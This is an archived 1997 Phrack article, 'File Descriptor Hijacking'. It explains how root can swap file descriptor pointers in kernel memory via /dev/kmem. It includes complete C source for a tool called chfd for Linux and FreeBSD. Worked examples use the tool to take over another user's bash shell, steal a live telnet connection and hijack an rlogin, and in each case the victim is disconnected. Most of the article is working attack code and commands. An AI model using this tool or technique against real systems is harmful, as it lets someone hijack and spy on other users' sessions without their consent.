home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Textfiles / zines / Phrack / Phrack Issue 51.sit / Phrack51 / P51-05 < prev    next >
Text File  |  1997-09-01  |  19KB  |  579 lines

  1. ---[  Phrack Magazine   Volume 7, Issue 51 September 01, 1997, article 05 of 17
  2.  
  3.  
  4. -------------------------[  File Descriptor Hijacking
  5.  
  6.  
  7. --------[  orabidoo <odar@pobox.com>
  8.  
  9.  
  10. Introduction
  11. ------------
  12.  
  13. We often hear of tty hijacking as a way for root to take over a user's
  14. session.  The traditional tools for this use STREAMS on SysV machines,
  15. and one article in Phrack 50 presented a way to do it in Linux, using
  16. loadable modules.
  17.  
  18. I'll describe here a simple technique that lets root take over a local
  19. or remote session.  I've implemented it for Linux and FreeBSD; it should
  20. be easy to port it to just about any Un*x-like system where root can
  21. write to kernel memory.
  22.  
  23. The idea is simple: by tweaking the kernel's file descriptor tables, one
  24. can forcefully move file descriptors from one process to another.  
  25. This method allows you to do almost anything you want: redirect the
  26. output of a running command to a file, or even take over your neighbor's
  27. telnet connection.
  28.  
  29.  
  30. How the kernel keeps track of open file descriptors
  31. ---------------------------------------------------
  32.  
  33. In Un*x, processes access resources by means of file descriptors, which
  34. are obtained via system calls such as open(), socket() and pipe().  From
  35. the process's point of view, the file descriptor is an opaque handle to
  36. the resource.  File descriptors 0, 1 and 2 represent standard input,
  37. output and error, respectively.  New descriptors are always allocated in
  38. sequence.
  39.  
  40. On the other side of the fence, the kernel keeps, for each process, a
  41. table of file descriptors (fds), with a pointer to a structure for each
  42. fd.  The pointer is NULL if the fd isn't open.  Otherwise, the structure
  43. holds information about what kind of fd it is (a file, a socket, a
  44. pipe, etc), together with pointers to data about the resource that the fd
  45. accesses (the file's inode, the socket's address and state information,
  46. and so on).
  47.  
  48. The process table is usually an array or a linked list of structures.
  49. From the structure for a given process, you can easily find a pointer to
  50. the internal fd table for that process.  
  51.  
  52. In Linux, the process table is an array (called "task") of struct
  53. task_struct's, and includes a pointer to a struct files_struct, which
  54. has the fd array (look at /usr/include/linux/sched.h for details).  In
  55. SunOS 4, the process table is a linked list of struct proc's, which
  56. include a pointer to the u_area, which has info about the fds (look at
  57. /usr/include/sys/proc.h).  In FreeBSD, it's also a linked list (called
  58. "allproc") of struct proc's, which include a pointer to a struct
  59. filedesc with the fd table (also according to /usr/include/sys/proc.h).
  60.  
  61. If you have read and write access to the kernel's memory (which, in most
  62. cases, is the same as having read/write access to /dev/kmem), there's
  63. nothing to prevent you from messing with these fd tables, stealing open
  64. fd's from a process and reusing them in another one.  
  65.  
  66. The only major case where this won't work are systems based on BSD4.4
  67. (such as {Free, Net, Open}BSD) running at a securelevel higher than 0.
  68. In that mode, write access to /dev/mem and /dev/kmem is disabled, among
  69. other things.  However, many BSD systems run at securelevel -1, which leaves
  70. them vulnerable, and in many others it may be possible to get the securelevel 
  71. to be -1 at the next boot by tweaking the startup scripts.  On FreeBSD, you 
  72. can check the securelevel with the command "sysctl kern.securelevel".  Linux 
  73. also has securelevels, but they don't prevent you from accessing /dev/kmem.
  74.  
  75.  
  76. File descriptor hijacking
  77. -------------------------
  78.  
  79. The kernel's internal variables are really not made to be modified like
  80. this by user programs, and it shows.  
  81.  
  82. First of all, on a multitasking system, you have no guarantee that the
  83. kernel's state won't have changed between the time you find out a
  84. variable's address and the time you write to it (no atomicity).  This is 
  85. why these techniques shouldn't be used in any program that aims for 
  86. reliability.  That being said, in practice, I haven't seen it fail, because 
  87. the kernel doesn't move this kind of data around once it has allocated it 
  88. (at least for the first 20 or 32 or 64 or so fds per process), and because 
  89. it's quite unlikely that you'll do this just when the process is closing or
  90. opening a new fd.
  91.  
  92. You still want to try it?
  93.  
  94. For simplicity's sake, we won't try to do things like duplicating an fd
  95. between two processes, or passing an fd from one process to another
  96. without passing another one in return.  Instead, we'll just exchange an
  97. fd in one process with another fd in another process.  This way we only
  98. have to deal with open files, and don't mess with things like reference
  99. counts.  This is as simple as finding two pointers in the kernel and
  100. switching them around.  A slightly more complicated version of this
  101. involves 3 processes, and a circular permutation of the fds.
  102.  
  103. Of course, you have to guess which fd corresponds to the resource you
  104. want to pass.  To take complete control of a running shell, you'll want
  105. its standard input, output and error, so you'll need to take the 3 fds
  106. 0, 1 and 2.  To take control of a telnet session, you'll want the fd of
  107. the inet socket that telnet is using to talk to the other side, which is
  108. usually 3, and exchange it with another running telnet (so it knows what
  109. to do with it).  Under Linux, a quick look at /proc/[pid]/fd will tell
  110. you which fds the process is using.
  111.  
  112.  
  113. Using chfd
  114. ----------
  115.  
  116. I've implemented this for Linux and FreeBSD; it would be fairly easy to
  117. port to other systems (as long as they let you write to /dev/mem or
  118. /dev/kmem, and have the equivalent of a /usr/include/sys/proc.h to
  119. figure out how it works).
  120.  
  121. To compile chfd for Linux, you need to figure out a couple things about
  122. the running kernel.  If it's a 1.2.13 or similar, you'll need to
  123. uncomment the line /* #define OLDLINUX */, because the kernel's
  124. structures have changed since then.  If it's 2.0.0 or newer, it should
  125. work out of the box, although it could change again...    
  126.  
  127. Then you need to find the symbol table for the kernel, which is usually
  128. in /boot/System.map or similar.  Make sure this corresponds to the
  129. kernel that is actually running, and look up the address for the "task"
  130. symbol.  You need to put this value in chfd, instead of "00192d28".
  131. Then compile with "gcc chfd.c -o chfd".
  132.  
  133. To compile chfd for FreeBSD, just get the FreeBSD code and compile it
  134. with "gcc chfd.c -o chfd -lkvm".  This code was written for FreeBSD
  135. 2.2.1, and might need tweaking for other versions.
  136.  
  137. Once it's compiled, you invoke chfd with 
  138.  
  139.      chfd pid1 fd1 pid2 fd2
  140. or
  141.     chfd pid1 fd1 pid2 fd2 pid3 fd3
  142.  
  143. In the first case, the fds are just swapped.  In the second case, the
  144. second process gets the first's fd, the third gets the second's fd, and
  145. the first gets the third's fd.
  146.  
  147. As a special case, if one of the pids is zero, the corresponding fd is
  148. discarded, and a fd on /dev/null is passed instead.
  149.  
  150.  
  151. Example 1
  152. ---------
  153.  
  154. . a long calculation is running with pid 207, and with output to the tty
  155. . you type "cat > somefile", and look up cat's pid (say 1746)
  156.  
  157. Then doing
  158.  
  159.     chfd 207 1 1746 1
  160.  
  161. will redirect the calculation on the fly to the file "somefile", and the
  162. cat to the calculation's tty.  Then you can ^C the cat, and leave the
  163. calculation running without fear of important results scrolling by.
  164.  
  165.  
  166. Example 2
  167. ---------
  168.  
  169. . someone is running a copy of bash on a tty, with pid 4022
  170. . you are running another copy of bash on a tty, with pid 4121
  171.  
  172. Then you do
  173.  
  174.     sleep 10000  
  175.       # on your own bash, so it won't read its tty for a while,
  176.       # otherwise your shell gets an EOF from /dev/null and leaves
  177.       # the session immediately
  178.     chfd 4022 0 0 0 4121 0
  179.     chfd 4022 1 0 0 4121 1
  180.     chfd 4022 2 0 0 4121 2
  181.  
  182. and you find yourself controlling the other guy's bash, and getting the
  183. output too, while the guy's keystrokes go to /dev/null.  When you exit
  184. the shell, he gets his session disconnected, and you're back in your
  185. sleep 10000 which you can safely ^C now.  
  186.  
  187. Different shells might use different file descriptors; zsh seems to use
  188. fd 10 to read from the tty, so you'll need to exchange that too.
  189.  
  190.  
  191. Example 3
  192. ---------
  193.  
  194. . someone is running a telnet on a tty, with pid 6309
  195. . you start a telnet to some worthless port that won't drop the 
  196.   connection too quickly (telnet localhost 7, telnet www.yourdomain 80,
  197.   whatever), with pid 7081
  198. . under Linux, a quick look at /proc/6309/fd and /proc/7081/fd tells you
  199.   telnet is using fds 0, 1, 2 and 3, so 3 must be the connection.
  200.  
  201. Then doing
  202.  
  203.     chfd 6309 3 7081 3 0 0
  204.  
  205. will replace the network connection with a /dev/null on the guy's telnet
  206. (which reads an EOF, so he'll get a "Connection closed by foreign
  207. host."), and your telnet finds itself connected to the guy's remote
  208. host.  At this point you'll probably need to press ^] and type "mode
  209. character" to tell your telnet to stop echoing your lines locally.
  210.  
  211.  
  212. Example 4
  213. ---------
  214.  
  215. . someone is running an rlogin on a tty; each rlogin uses two processes, 
  216.   with pids 4547 and 4548
  217. . you start an rlogin localhost on another tty, with pids 4852 and 4855
  218. . a quick look at the relevant /proc/../fds tells you that each of the
  219.   rlogin processes is using fd 3 for the connection.
  220.  
  221. Then doing
  222.  
  223.     chfd 4547 3 4552 3
  224.     chfd 4548 3 4555 3
  225.  
  226. does just what you expect.  Except that your rlogin may still be blocked
  227. by the kernel because it's waiting on an event that won't happen (having
  228. data to read from localhost); in that case you wake it up with a kill
  229. -STOP followed by 'fg'.
  230.  
  231.  
  232. You get the idea.  When a program gets another one's fd, it's important
  233. that it knows what to do with it; in most cases you achieve this by
  234. running a copy of the same program you want to take over, unless you're
  235. passing a fd on /dev/null (which gives an EOF) or just passing
  236. stdin/stdout/stderr.  
  237.  
  238.  
  239. Conclusion
  240. ----------
  241.  
  242. As you can see, you can do quite powerful things with this.  And there
  243. isn't really much you can do to protect yourself from some root doing
  244. this, either.  
  245.  
  246. It could be argued that it's not even a security hole; root is
  247. *supposed* to be able to do these things.  Otherwise there wouldn't be
  248. explicit code in the drivers for /dev/kmem to let you write there, would
  249. there?
  250.  
  251.  
  252. The Linux code
  253. --------------
  254.  
  255. <++> fd_hijack/chfd-linux.c
  256. /*  chfd - exchange fd's between 2 or 3 running processes.
  257.  *  
  258.  *  This was written for Linux/intel and is *very* system-specific.
  259.  *  Needs read/write access to /dev/kmem; setgid kmem is usually enough.
  260.  *
  261.  *  Use: chfd pid1 fd1 pid2 fd2 [pid3 fd3]
  262.  *
  263.  *  With two sets of arguments, exchanges a couple of fd between the 
  264.  *  two processes.
  265.  *  With three sets, the second process gets the first's fd, the third gets
  266.  *  the second's fd, and the first gets the third's fd.
  267.  *
  268.  *  Note that this is inherently unsafe, since we're messing with kernel
  269.  *  variables while the kernel itself might be changing them.  It works
  270.  *  in practice, but no self-respecting program would want to do this.
  271.  *
  272.  *  Written by: orabidoo <odar@pobox.com>
  273.  *  First version: 14 Feb 96
  274.  *  This version: 2 May 97
  275.  */
  276.  
  277.  
  278. #include <stdio.h>
  279. #include <unistd.h>
  280. #include <fcntl.h>
  281. #define __KERNEL__        /* needed to access kernel-only definitions */
  282. #include <linux/sched.h>
  283.  
  284. /* #define OLDLINUX */        /* uncomment this if you're using Linux 1.x;
  285.                    tested only on 1.2.13 */
  286.  
  287. #define TASK 0x00192d28        /* change this! look at the system map,
  288.                    usually /boot/System.map, for the address
  289.                    of the "task" symbol */
  290.  
  291. #ifdef OLDLINUX
  292. #  define FD0 ((char *)&ts.files->fd[0] - (char *)&ts)
  293. #  define AD(fd) (taskp + FD0 + 4*(fd))
  294. #else
  295. #  define FILES ((char *)&ts.files - (char *)&ts)
  296. #  define FD0 ((char *)&fs.fd[0] - (char *)&fs)
  297. #  define AD(fd) (readvalz(taskp + FILES) + FD0 + 4*(fd))
  298. #endif
  299.  
  300.  
  301. int kfd;
  302. struct task_struct ts;
  303. struct files_struct fs;
  304. int taskp;
  305.  
  306. int readval(int ad) {
  307.   int val, r;
  308.  
  309.   if (lseek(kfd, ad, SEEK_SET) < 0)
  310.     perror("lseek"), exit(1);
  311.   if ((r = read(kfd, &val, 4)) != 4) {
  312.     if (r < 0)
  313.       perror("read");
  314.     else fprintf(stderr, "Error reading...\n");
  315.     exit(1);
  316.   }
  317.   return val;
  318. }
  319.  
  320. int readvalz(int ad) {
  321.   int r = readval(ad);
  322.   if (r == 0)
  323.     fprintf(stderr, "NULL pointer found (fd not open?)\n"), exit(1);
  324.   return r;
  325. }
  326.  
  327. void writeval(int ad, int val) {
  328.   int w;
  329.  
  330.   if (lseek(kfd, ad, SEEK_SET) < 0)
  331.     perror("lseek"), exit(1);
  332.   if ((w = write(kfd, &val, 4)) != 4) {
  333.     if (w < 0)
  334.       perror("write");
  335.     else fprintf(stderr, "Error writing...\n");
  336.     exit(1);
  337.   }
  338. }
  339.  
  340. void readtask(int ad) {
  341.   int r;
  342.  
  343.   if (lseek(kfd, ad, SEEK_SET)<0)
  344.     perror("lseek"), exit(1);
  345.   if ((r = read(kfd, &ts, sizeof(struct task_struct))) !=
  346.     sizeof(struct task_struct)) {
  347.     if (r < 0)
  348.       perror("read");
  349.     else fprintf(stderr, "Error reading...\n");
  350.     exit(1);
  351.   }
  352. }
  353.  
  354. void findtask(int pid) {
  355.   int adr;
  356.  
  357.   for (adr=TASK; ; adr+=4) {
  358.     if (adr >= TASK + 4*NR_TASKS)
  359.       fprintf(stderr, "Process not found\n"), exit(1);
  360.     taskp = readval(adr);
  361.     if (!taskp) continue;
  362.     readtask(taskp);
  363.     if (ts.pid == pid) break;
  364.   }
  365. }
  366.  
  367. int main(int argc, char **argv) {
  368.   int pid1, fd1, pid2, fd2, ad1, val1, ad2, val2, pid3, fd3, ad3, val3;
  369.   int three=0;
  370.  
  371.   if (argc != 5 && argc != 7)
  372.     fprintf(stderr, "Use: %s pid1 fd1 pid2 fd2 [pid3 fd3]\n", argv[0]), 
  373.     exit(1);
  374.  
  375.   pid1 = atoi(argv[1]), fd1 = atoi(argv[2]);
  376.   pid2 = atoi(argv[3]), fd2 = atoi(argv[4]);
  377.   if (argc == 7)
  378.     pid3 = atoi(argv[5]), fd3 = atoi(argv[6]), three=1;
  379.  
  380.   if (pid1 == 0)
  381.     pid1 = getpid(), fd1 = open("/dev/null", O_RDWR);
  382.   if (pid2 == 0)
  383.     pid2 = getpid(), fd2 = open("/dev/null", O_RDWR);
  384.   if (three && pid3 == 0)
  385.     pid3 = getpid(), fd3 = open("/dev/null", O_RDWR);
  386.  
  387.   kfd = open("/dev/kmem", O_RDWR);
  388.   if (kfd < 0)
  389.     perror("open"), exit(1);
  390.  
  391.   findtask(pid1);
  392.   ad1 = AD(fd1);
  393.   val1 = readvalz(ad1);
  394.   printf("Found fd pointer 1, value %.8x, stored at %.8x\n", val1, ad1);
  395.  
  396.   findtask(pid2);
  397.   ad2 = AD(fd2);
  398.   val2 = readvalz(ad2);
  399.   printf("Found fd pointer 2, value %.8x, stored at %.8x\n", val2, ad2);
  400.  
  401.   if (three) {
  402.     findtask(pid3);
  403.     ad3 = AD(fd3);
  404.     val3 = readvalz(ad3);
  405.     printf("Found fd pointer 3, value %.8x, stored at %.8x\n", val3, ad3);
  406.   }
  407.  
  408.   if (three) {
  409.     if (readval(ad1)!=val1 || readval(ad2)!=val2 || readval(ad3)!=val3) {
  410.       fprintf(stderr, "fds changed in memory while using them - try again\n");
  411.       exit(1);
  412.     }
  413.     writeval(ad2, val1);
  414.     writeval(ad3, val2);
  415.     writeval(ad1, val3);
  416.   } else {
  417.     if (readval(ad1)!=val1 || readval(ad2)!=val2) {
  418.       fprintf(stderr, "fds changed in memory while using them - try again\n");
  419.       exit(1);
  420.     }
  421.     writeval(ad1, val2);
  422.     writeval(ad2, val1);
  423.   }
  424.   printf("Done!\n");
  425. }
  426.  
  427. <-->
  428.  
  429. The FreeBSD code
  430. ----------------
  431.  
  432. <++> fd_hijack/chfd-freebsd.c
  433.  
  434. /*  chfd - exchange fd's between 2 or 3 running processes.
  435.  *  
  436.  *  This was written for FreeBSD and is *very* system-specific.  Needs 
  437.  *  read/write access to /dev/mem and /dev/kmem; only root can usually 
  438.  *  do that, and only if the system is running at securelevel -1.
  439.  *
  440.  *  Use: chfd pid1 fd1 pid2 fd2 [pid3 fd3]
  441.  *  Compile with: gcc chfd.c -o chfd -lkvm
  442.  *
  443.  *  With two sets of arguments, exchanges a couple of fd between the 
  444.  *  two processes.
  445.  *  With three sets, the second process gets the first's fd, the third 
  446.  *  gets the second's fd, and the first gets the third's fd.
  447.  *
  448.  *  Note that this is inherently unsafe, since we're messing with kernel
  449.  *  variables while the kernel itself might be changing them.  It works
  450.  *  in practice, but no self-respecting program would want to do this.
  451.  *
  452.  *  Written by: orabidoo <odar@pobox.com>
  453.  *  FreeBSD version: 4 May 97
  454.  */
  455.  
  456.  
  457. #include <stdio.h>
  458. #include <fcntl.h>
  459. #include <kvm.h>
  460. #include <sys/proc.h>
  461.  
  462. #define NEXTP ((char *)&p.p_list.le_next - (char *)&p)
  463. #define FILES ((char *)&p.p_fd - (char *)&p)
  464. #define AD(fd) (readvalz(readvalz(procp + FILES)) + 4*(fd))
  465.  
  466. kvm_t *kfd;
  467. struct proc p;
  468. u_long procp, allproc;
  469. struct nlist nm[2];
  470.  
  471. u_long readval(u_long ad) {
  472.   u_long val;
  473.  
  474.   if (kvm_read(kfd, ad, &val, 4) != 4)
  475.     fprintf(stderr, "error reading...\n"), exit(1);
  476.   return val;
  477. }
  478.  
  479. u_long readvalz(u_long ad) {
  480.   u_long r = readval(ad);
  481.   if (r == 0)
  482.     fprintf(stderr, "NULL pointer found (fd not open?)\n"), exit(1);
  483.   return r;
  484. }
  485.  
  486. void writeval(u_long ad, u_long val) {
  487.   if (kvm_write(kfd, ad, &val, 4) != 4)
  488.     fprintf(stderr, "error writing...\n"), exit(1);
  489. }
  490.  
  491. void readproc(u_long ad) {
  492.   if (kvm_read(kfd, ad, &p, sizeof(struct proc)) != sizeof(struct proc))
  493.     fprintf(stderr, "error reading a struct proc...\n"), exit(1);
  494. }
  495.  
  496. void findproc(int pid) {
  497.   u_long adr;
  498.  
  499.   for (adr = readval(allproc); adr; adr = readval(adr + NEXTP)) {
  500.     procp = adr;
  501.     readproc(procp);
  502.     if (p.p_pid == pid) return;
  503.   }
  504.   fprintf(stderr, "Process not found\n");
  505.   exit(1);
  506. }
  507.  
  508. int main(int argc, char **argv) {
  509.   int pid1, fd1, pid2, fd2, pid3, fd3;
  510.   u_long ad1, val1, ad2, val2, ad3, val3;
  511.   int three=0;
  512.  
  513.   if (argc != 5 && argc != 7)
  514.     fprintf(stderr, "Use: %s pid1 fd1 pid2 fd2 [pid3 fd3]\n", argv[0]), 
  515.     exit(1);
  516.  
  517.   pid1 = atoi(argv[1]), fd1 = atoi(argv[2]);
  518.   pid2 = atoi(argv[3]), fd2 = atoi(argv[4]);
  519.   if (argc == 7)
  520.     pid3 = atoi(argv[5]), fd3 = atoi(argv[6]), three=1;
  521.  
  522.   if (pid1 == 0)
  523.     pid1 = getpid(), fd1 = open("/dev/null", O_RDWR);
  524.   if (pid2 == 0)
  525.     pid2 = getpid(), fd2 = open("/dev/null", O_RDWR);
  526.   if (three && pid3 == 0)
  527.     pid3 = getpid(), fd3 = open("/dev/null", O_RDWR);
  528.  
  529.   kfd = kvm_open(NULL, NULL, NULL, O_RDWR, "chfd");
  530.   if (kfd == NULL) exit(1);
  531.  
  532.   bzero(nm, 2*sizeof(struct nlist));
  533.   nm[0].n_name = "_allproc";
  534.   nm[1].n_name = NULL;
  535.   if (kvm_nlist(kfd, nm) != 0)
  536.     fprintf(stderr, "Can't read kernel name list\n"), exit(1);
  537.   allproc = nm[0].n_value;
  538.  
  539.   findproc(pid1);
  540.   ad1 = AD(fd1);
  541.   val1 = readvalz(ad1);
  542.   printf("Found fd pointer 1, value %.8x, stored at %.8x\n", val1, ad1);
  543.  
  544.   findproc(pid2);
  545.   ad2 = AD(fd2);
  546.   val2 = readvalz(ad2);
  547.   printf("Found fd pointer 2, value %.8x, stored at %.8x\n", val2, ad2);
  548.  
  549.   if (three) {
  550.     findproc(pid3);
  551.     ad3 = AD(fd3);
  552.     val3 = readvalz(ad3);
  553.     printf("Found fd pointer 3, value %.8x, stored at %.8x\n", val3, ad3);
  554.   }
  555.  
  556.   if (three) {
  557.     if (readval(ad1)!=val1 || readval(ad2)!=val2 || readval(ad3)!=val3) {
  558.       fprintf(stderr, "fds changed in memory while using them - try again\n");
  559.       exit(1);
  560.     }
  561.     writeval(ad2, val1);
  562.     writeval(ad3, val2);
  563.     writeval(ad1, val3);
  564.   } else {
  565.     if (readval(ad1)!=val1 || readval(ad2)!=val2) {
  566.       fprintf(stderr, "fds changed in memory while using them - try again\n");
  567.       exit(1);
  568.     }
  569.     writeval(ad1, val2);
  570.     writeval(ad2, val1);
  571.   }
  572.   printf("Done!\n");
  573. }
  574.  
  575. <-->
  576.  
  577. ----[  EOF
  578.  
  579.